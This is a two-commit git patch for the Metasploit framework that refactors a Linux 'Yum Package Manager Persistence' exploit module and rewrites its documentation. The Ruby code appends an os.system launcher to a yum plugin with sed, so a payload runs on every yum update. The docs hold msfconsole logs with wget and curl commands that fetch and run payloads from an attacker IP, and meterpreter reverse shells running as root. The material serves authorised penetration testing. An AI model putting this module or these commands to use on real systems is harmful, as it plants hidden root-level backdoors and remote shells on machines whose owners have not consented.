From 15f4abd1b2f5269516a360ac2857396bfbd7f98b Mon Sep 17 00:00:00 2001 From: h00die Date: Sat, 6 Sep 2025 13:23:13 -0400 Subject: [PATCH 1/2] update yum to persistence module --- .../local/yum_package_manager_persistence.md | 84 ------------- .../linux/persistence/yum_package_manager.md | 112 ++++++++++++++++++ .../yum_package_manager.rb} | 106 +++++++++-------- 3 files changed, 169 insertions(+), 133 deletions(-) delete mode 100644 documentation/modules/exploit/linux/local/yum_package_manager_persistence.md create mode 100644 documentation/modules/exploit/linux/persistence/yum_package_manager.md rename modules/exploits/linux/{local/yum_package_manager_persistence.rb => persistence/yum_package_manager.rb} (52%) diff --git a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md b/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md deleted file mode 100644 index 9f205f4df63bb..0000000000000 --- a/documentation/modules/exploit/linux/local/yum_package_manager_persistence.md +++ /dev/null @@ -1,84 +0,0 @@ -## Description - -This module will run a payload when the package manager is used. No -handler is ran automatically so you must configure an appropriate -exploit/multi/handler to connect. Module modifies a yum plugin to -launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ -will show what plugins are currently enabled on the system. - -## Verification Steps - -1. Exploit a box that uses Yum -2. `use linux/local/yum_package_manager_persistence` -3. `set SESSION ` -4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed -5. `exploit` - -When the system runs yum update the payload will launch. You must set handler accordingly. - -## Options - -**BACKDOOR_NAME** -Name of backdoor executable - -**PLUGIN** -Name of the yum plugin to target - -**WritableDir** -Writable directory for backdoor default is (/usr/local/bin/) - -**PluginPath** -Plugin path to use default is (/usr/lib/yum-plugins/) - -## Scenarios - -### Tested on Fedora 21 - -``` -msf exploit(linux/local/yum_package_manager_persistence) > sessions - -Active sessions -=============== - - Id Name Type Information Connection - -- ---- ---- ----------- ---------- - 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) - -msf exploit(linux/local/yum_package_manager_persistence) > set session 1 -session => 1 -msf exploit(linux/local/yum_package_manager_persistence) > set plugin langpacks -plugin => langpacks -msf exploit(linux/local/yum_package_manager_persistence) > set lhost 172.22.222.136 -lhost => 172.22.222.136 -msf exploit(linux/local/yum_package_manager_persistence) > exploit - -[*] /usr/lib/yum-plugins/langpacks.py -[+] Plugins are enabled! -[*] Attempting to modify plugin -[*] Backdoor uploaded to /usr/local/bin/z9fJTx2wVg -[*] Backdoor will run on next Yum update -msf exploit(linux/local/yum_package_manager_persistence) > [*] Command shell session 2 opened (172.22.222.136:4444 -> 172.22.222.135:43791) at 2019-04-30 06:21:12 -0500 - -msf exploit(linux/local/yum_package_manager_persistence) > sessions - -Active sessions -=============== - - Id Name Type Information Connection - -- ---- ---- ----------- ---------- - 1 shell x86/linux 172.22.222.136:4444 -> 172.22.222.135:43790 (172.22.222.135) - 2 shell cmd/unix 172.22.222.136:4444 -> 172.22.222.135:43791 (172.22.222.135) - -msf exploit(linux/local/yum_package_manager_persistence) > sessions -i 2 -[*] Starting interaction with 2... - -id -uid=0(root) gid=0(root) groups=0(root) -uname -a -Linux localhost.localdomain 3.17.4-301.fc21.x86_64 #1 SMP Thu Nov 27 19:09:10 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux -exit -[*] 172.22.222.135 - Command shell session 2 closed. -msf exploit(linux/local/yum_package_manager_persistence) > -``` - -Note: Session 2 is received after running yum update on the remote host. diff --git a/documentation/modules/exploit/linux/persistence/yum_package_manager.md b/documentation/modules/exploit/linux/persistence/yum_package_manager.md new file mode 100644 index 0000000000000..492f759fed12b --- /dev/null +++ b/documentation/modules/exploit/linux/persistence/yum_package_manager.md @@ -0,0 +1,112 @@ +## Description + +This module will run a payload when the package manager is used. +This module modifies a yum plugin to launch a binary of choice. +`grep -F 'enabled=1' /etc/yum/pluginconf.d/` +will show what plugins are currently enabled on the system. + +root persmissions are likely required. + +Verified on Centos 7.1 + +## Verification Steps + +1. Exploit a box that uses Yum +2. `use exploit/linux/persistence/yum_package_manager` +3. `set SESSION ` +4. `set PAYLOAD cmd/unix/reverse_python` configure the payload as needed +5. `exploit` + +When the system runs yum update the payload will launch. You must set handler accordingly. + +## Options + +### PAYLOAD_NAME + +Name of backdoor executable + +### PLUGIN + +Name of the yum plugin to target + +### PluginPath + +Plugin path to use default is (`/usr/lib/yum-plugins/`) + +## Scenarios + +### Tested on Centos 7.1 + +Initial access vector via web delivery + +``` +resource (/root/.msf4/msfconsole.rc)> setg verbose true +verbose => true +resource (/root/.msf4/msfconsole.rc)> setg lhost 111.111.1.111 +lhost => 111.111.1.111 +resource (/root/.msf4/msfconsole.rc)> use exploit/multi/script/web_delivery +[*] Using configured payload python/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set srvport 8181 +srvport => 8181 +resource (/root/.msf4/msfconsole.rc)> set target 7 +target => 7 +resource (/root/.msf4/msfconsole.rc)> set payload payload/linux/x64/meterpreter/reverse_tcp +payload => linux/x64/meterpreter/reverse_tcp +resource (/root/.msf4/msfconsole.rc)> set lport 4545 +lport => 4545 +resource (/root/.msf4/msfconsole.rc)> set URIPATH l +URIPATH => l +resource (/root/.msf4/msfconsole.rc)> run +[*] Exploit running as background job 0. +[*] Exploit completed, but no session was created. +[*] Starting persistent handler(s)... +[*] Started reverse TCP handler on 111.111.1.111:4545 +[*] Using URL: http://111.111.1.111:8181/l +[*] Server started. +[*] Run the following command on the target machine: +wget -qO KOiqZchh --no-check-certificate http://111.111.1.111:8181/l; chmod +x KOiqZchh; ./KOiqZchh& disown +[msf](Jobs:1 Agents:0) exploit(multi/script/web_delivery) > +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 192.168.2.100 +[*] Meterpreter session 1 opened (111.111.1.111:4545 -> 192.168.2.100:34470) at 2025-02-16 11:30:09 -0500 +[msf](Jobs:1 Agents:1) exploit(multi/script/web_delivery) > use exploit/linux/persistence/yum_package_manager +[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp +[msf](Jobs:2 Agents:2) exploit(linux/persistence/yum_package_manager) > sessions -i 1 +[*] Starting interaction with 1... +(Meterpreter 1)(/home/centos) > getuid +Server username: root +(Meterpreter 1)(/home/centos) > sysinfo +Computer : centos71.localdomain +OS : CentOS 7.9.2009 (Linux 3.10.0-1160.53.1.el7.x86_64) +Architecture : x64 +BuildTuple : x86_64-linux-musl +Meterpreter : x64/linux +(Meterpreter 1)(/home/centos) > background +[*] Backgrounding session 1... +``` + +Persistence + +``` +[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > set session 1 +session => 1 +[msf](Jobs:1 Agents:1) exploit(linux/persistence/yum_package_manager) > exploit +[*] Command to run on remote host: curl -so ./lgtOaZox http://111.111.1.111:8080/Hg3DGEu9GqlWD06kh4AzFg;chmod +x ./lgtOaZox;./lgtOaZox& +[*] Exploit running as background job 1. +[*] Exploit completed, but no session was created. +[msf](Jobs:2 Agents:1) exploit(linux/persistence/yum_package_manager) > +[*] Fetch handler listening on 111.111.1.111:8080 +[*] HTTP server started +[*] Adding resource /Hg3DGEu9GqlWD06kh4AzFg +[*] Started reverse TCP handler on 111.111.1.111:4444 +[*] Running automatic check ("set AutoCheck false" to disable) +[*] Transmitting intermediate stager...(126 bytes) +[*] Sending stage (3045380 bytes) to 222.222.2.222 +[+] Plugins are enabled! +[*] Meterpreter session 2 opened (111.111.1.111:4444 -> 222.222.2.222:53880) at 2025-02-16 11:30:59 -0500 +[!] The service is running, but could not be validated. yum installed and plugin found, enabled, and backdoorable +[*] Attempting to modify plugin +[*] Backdoor uploaded to /tmp/7EtplboZD +[+] Backdoor will run on next Yum update +[*] Meterpreter-compatible Cleaup RC file: /root/.msf4/logs/persistence/centos71.localdomain_20250216.3101/centos71.localdomain_20250216.3101.rc +``` \ No newline at end of file diff --git a/modules/exploits/linux/local/yum_package_manager_persistence.rb b/modules/exploits/linux/persistence/yum_package_manager.rb similarity index 52% rename from modules/exploits/linux/local/yum_package_manager_persistence.rb rename to modules/exploits/linux/persistence/yum_package_manager.rb index 84cfdaa6f378f..521dcbe7e702a 100644 --- a/modules/exploits/linux/local/yum_package_manager_persistence.rb +++ b/modules/exploits/linux/persistence/yum_package_manager.rb @@ -5,10 +5,15 @@ class MetasploitModule < Msf::Exploit::Local Rank = ExcellentRanking + include Msf::Exploit::EXE include Msf::Exploit::FileDropper include Msf::Post::File include Msf::Post::Linux::System + include Msf::Exploit::Local::Persistence + prepend Msf::Exploit::Remote::AutoCheck + include Msf::Exploit::Deprecated + moved_from 'exploits/linux/local/yum_package_manager_persistence' def initialize(info = {}) super( @@ -16,11 +21,12 @@ def initialize(info = {}) info, 'Name' => 'Yum Package Manager Persistence', 'Description' => %q{ - This module will run a payload when the package manager is used. No - handler is ran automatically so you must configure an appropriate - exploit/multi/handler to connect. Module modifies a yum plugin to - launch a binary of choice. grep -F 'enabled=1' /etc/yum/pluginconf.d/ + This module will run a payload when the package manager is used. + This module modifies a yum plugin to launch a binary of choice. + grep -F 'enabled=1' /etc/yum/pluginconf.d/ will show what plugins are currently enabled on the system. + root persmissions are likely required. + Verified on Centos 7.1 }, 'License' => MSF_LICENSE, 'Author' => ['Aaron Ringo'], @@ -36,18 +42,15 @@ def initialize(info = {}) ARCH_MIPSBE ], 'SessionTypes' => ['shell', 'meterpreter'], - 'DefaultOptions' => { - 'WfsDelay' => 0, 'DisablePayloadHandler' => true, - 'Payload' => 'cmd/unix/reverse_python' - }, 'DisclosureDate' => '2003-12-17', # Date published, Robert G. Browns documentation on Yum 'References' => ['URL', 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/deployment_guide/sec-yum_plugins'], 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0, + 'Privileged' => true, 'Notes' => { - 'Reliability' => UNKNOWN_RELIABILITY, - 'Stability' => UNKNOWN_STABILITY, - 'SideEffects' => UNKNOWN_SIDE_EFFECTS + 'Stability' => [CRASH_SAFE], + 'Reliability' => [REPEATABLE_SESSION, EVENT_DEPENDENT], + 'SideEffects' => [ARTIFACTS_ON_DISK, CONFIG_CHANGES] } ) ) @@ -55,8 +58,8 @@ def initialize(info = {}) register_options( [ # /usr/lib/yum-plugins/fastestmirror.py is a default enabled plugin in centos - OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror']), - OptString.new('BACKDOOR_NAME', [false, 'Name of binary to write']) + OptString.new('PLUGIN', [true, 'Yum Plugin to target', 'fastestmirror.py']), + OptString.new('PAYLOAD_NAME', [false, 'Name of binary to write']) ] ) @@ -68,53 +71,57 @@ def initialize(info = {}) ) end - def exploit + def check + return CheckCode::Safe("#{datastore['WritableDir']} does not exist") unless exists? datastore['WritableDir'] + return CheckCode::Safe("#{datastore['WritableDir']} not writable") unless writable? datastore['WritableDir'] + # checks /usr/lib/yum-plugins/PLUGIN.py exists and is writeable plugin = datastore['PLUGIN'] - full_plugin_path = "#{datastore['PluginPath']}#{plugin}.py" - print_status(full_plugin_path) - unless writable? full_plugin_path - fail_with Failure::BadConfig, "#{full_plugin_path} not writable, does not exist, or yum is not on system" - end + full_plugin_path = "#{datastore['PluginPath']}#{plugin}" + return CheckCode::Safe("#{full_plugin_path} does not exist") unless exists? full_plugin_path + return CheckCode::Safe("#{full_plugin_path} not writable") unless writable? full_plugin_path + return CheckCode::Safe('yum not found on system') unless command_exists? 'yum' + return CheckCode::Safe('sed not found on system, required for exploitation') unless command_exists? 'sed' # /etc/yum.conf must contain plugins=1 for plugins to run at all plugins_enabled = cmd_exec "grep -F 'plugins=1' /etc/yum.conf" - unless plugins_enabled.include? 'plugins=1' - fail_with Failure::NotVulnerable, 'Plugins are not set to be enabled in /etc/yum.conf' - end - print_good('Plugins are enabled!') + return CheckCode::Safe('Plugins are not set to be enabled in /etc/yum.conf') unless plugins_enabled.include? 'plugins=1' + + vprint_good('Plugins are enabled!') # /etc/yum/pluginconf.d/PLUGIN.conf must contain enabled=1 - plugin_conf = "/etc/yum/pluginconf.d/#{plugin}.conf" + plugin_conf = "/etc/yum/pluginconf.d/#{plugin.sub('.py', '')}.conf" plugin_enabled = cmd_exec "grep -F 'enabled=1' #{plugin_conf}" unless plugin_enabled.include? 'enabled=1' - print_bad("#{plugin_conf} plugin is not configured to run") - fail_with Failure::NotVulnerable, "try: grep -F 'enabled=1' /etc/yum/pluginconf.d/*" - end - - # plugins are made in python and generate pycs on successful execution - unless exist? "#{full_plugin_path}c" - print_warning('Either Yum has never been executed, or the selected plugin has not run') - end - - # check for write in backdoor path and set/generate backdoor name - backdoor_path = datastore['WritableDir'] - unless writable? backdoor_path - fail_with Failure::BadConfig, "#{backdoor_path} is not writable" + return CheckCode::Safe("#{plugin_conf} plugin is not configured to run") end - backdoor_name = datastore['BACKDOOR_NAME'] || rand_text_alphanumeric(5..10) - backdoor_path << backdoor_name # check that the plugin contains an import os, to backdoor import_os_check = cmd_exec "grep -F 'import os' #{full_plugin_path}" unless import_os_check.include? 'import os' - fail_with Failure::NotVulnerable, "#{full_plugin_path} does not import os, which is odd" + return CheckCode::Safe("#{full_plugin_path} does not import os, which is odd") end + CheckCode::Detected('yum installed and plugin found, enabled, and backdoorable') + end + + def install_persistence + plugin = datastore['PLUGIN'] + full_plugin_path = "#{datastore['PluginPath']}/#{plugin}" + + # plugins are made in python and generate pycs on successful execution + print_warning('Either Yum has never been executed, or the selected plugin has not run') unless exist? "#{full_plugin_path}c" + + # check for write in backdoor path and set/generate backdoor name + payload_path = datastore['WritableDir'] + payload_path = payload_path.end_with?('/') ? payload_path : "#{payload_path}/" + payload_name = datastore['PAYLOAD_NAME'] || rand_text_alphanumeric(5..10) + payload_path << payload_name + # check for sed binary and then append launcher to plugin underneath print_status('Attempting to modify plugin') - launcher = "os.system('setsid #{backdoor_path} 2>/dev/null \\& ')" - sed_path = cmd_exec "command -v sed" + launcher = "os.system('setsid #{payload_path} 2>/dev/null \\& ')" + sed_path = cmd_exec 'command -v sed' unless sed_path.include?('sed') fail_with Failure::NotVulnerable, 'Module uses sed to modify plugin, sed was not found' end @@ -123,17 +130,18 @@ def exploit # actually write users payload to be executed then check for write if payload.arch.first == 'cmd' - write_file(backdoor_path, payload.encoded) + write_file(payload_path, payload.encoded) else - write_file(backdoor_path, generate_payload_exe) + write_file(payload_path, generate_payload_exe) end - unless exist? backdoor_path - fail_with Failure::Unknown, "Failed to write #{backdoor_path}" + @clean_up_rc << "rm #{payload_path}\n" + unless exist? payload_path + fail_with Failure::Unknown, "Failed to write #{payload_path}" end # change perms to reflect bins in /usr/local/bin/, give good feels - chmod(backdoor_path, 0755) - print_status("Backdoor uploaded to #{backdoor_path}") - print_status('Backdoor will run on next Yum update') + chmod(payload_path, 0o755) + print_status("Backdoor uploaded to #{payload_path}") + print_good('Backdoor will run on next Yum update') end end From 160cf5c55b317223f42b5207e920742f56e8cfd5 Mon Sep 17 00:00:00 2001 From: h00die Date: Thu, 18 Sep 2025 16:15:24 -0400 Subject: [PATCH 2/2] peer review for yum persistence --- modules/exploits/linux/persistence/yum_package_manager.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/exploits/linux/persistence/yum_package_manager.rb b/modules/exploits/linux/persistence/yum_package_manager.rb index 521dcbe7e702a..2377e7a8b1c22 100644 --- a/modules/exploits/linux/persistence/yum_package_manager.rb +++ b/modules/exploits/linux/persistence/yum_package_manager.rb @@ -135,6 +135,7 @@ def install_persistence write_file(payload_path, generate_payload_exe) end @clean_up_rc << "rm #{payload_path}\n" + @clean_up_rc << "execute -f #{sed_path} -a \"-i /os\.system.*#{payload_name}/d #{full_plugin_path}\"" unless exist? payload_path fail_with Failure::Unknown, "Failed to write #{payload_path}" end